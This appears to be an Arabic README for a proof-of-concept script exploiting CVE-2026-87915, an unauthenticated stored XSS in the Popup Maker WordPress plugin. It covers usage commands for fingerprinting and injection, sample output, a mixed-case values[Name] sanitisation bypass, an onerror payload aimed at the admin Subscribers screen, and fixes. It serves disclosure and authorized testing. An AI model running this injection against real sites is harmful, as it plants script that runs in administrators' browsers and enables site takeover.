Shell PoC لـ CVE-2026-87915، وهو ثغرة XSS مخزّنة غير مصادَق عليها في إضافة Popup Maker لـ WordPress (<=1.24.0). يقوم ببصمة الإضافة ويوضّح حقن الحمولة.
| المكوّن | Popup Maker – Boost Sales, Conversions, Optins, Subscribers (إضافة WordPress) |
| النوع | CWE-79 — Cross-Site Scripting مخزّن |
| المتأثر | <= 1.24.0 |
| المُصلَح | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
يقبل نموذج الاشتراك/النشرة البريدية العام في Popup Maker المعامل values[Name] دون
تعقيم (action=pum_sub_form). تُخزَّن القيمة على الخادم ثم تُعرَض لاحقًا في شاشة
Subscribers في لوحة الإدارة. إن تصفية wp_kses() المطبَّقة عند الإخراج غير كافية في هذا
السياق: كيانات HTML داخل قيم السمات المسموح بها تنجو من التطبيع ويتم تقييمها بواسطة
مصبّ DOM jQuery( link.attr('href') ) في wp-admin/js/common.js عندما ينقر المسؤول
على رابط تبويب المساعدة السياقية. الأثر الصافي: XSS مخزّن غير مُصادَق عليه ضد مسؤول
(يتطلب نقرة واحدة من جانب المسؤول).
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and detect a public subscribe form
./poc.sh check --target https://example.com
# Store the payload (writes ONE subscriber row; requires authorization)
./poc.sh inject --target https://example.com --authorized
يستخدم inject بريدًا بريدًا اختباريًا فريدًا افتراضيًا ويطبع خطوات التنظيف (واجهة الإدارة أو
DELETE FROM wp_pum_subscribers WHERE email = '…';).
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject، مختبر)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name] (بحروف صغيرة) هو الحقل العادي؛ أما values[Name] بحروف مختلطة فيتعارض أثناء
تطبيع مفاتيح مصفوفة PHP ويُمرّر الحمولة عبرها.wp_kses() بعنصر <a href>؛ أما `` المُرمَّز ككيان داخل
السمة فينجو من التصفية ويُفكّ ترميزه/يُطبَّع لاحقًا.wp-admin/js/common.js التعبير jQuery( link.attr('href') )، الذي يحلّل HTML
المفكوك ويُشغّل معالج onerror.esc_html() + sanitize_text_field() على
القيمة المخزّنة؛ راجع changeset المورّد لـ classes/Admin/Subscribers/Table.php).values[Name] على مستوى WAF.لاختبارات الأمان المصرّح بها فقط. check للقراءة فقط؛ inject يُنشئ صف مشترك اختباري
واحد بالضبط — احذفه بعد ذلك باستخدام أمر التنظيف المطبوع.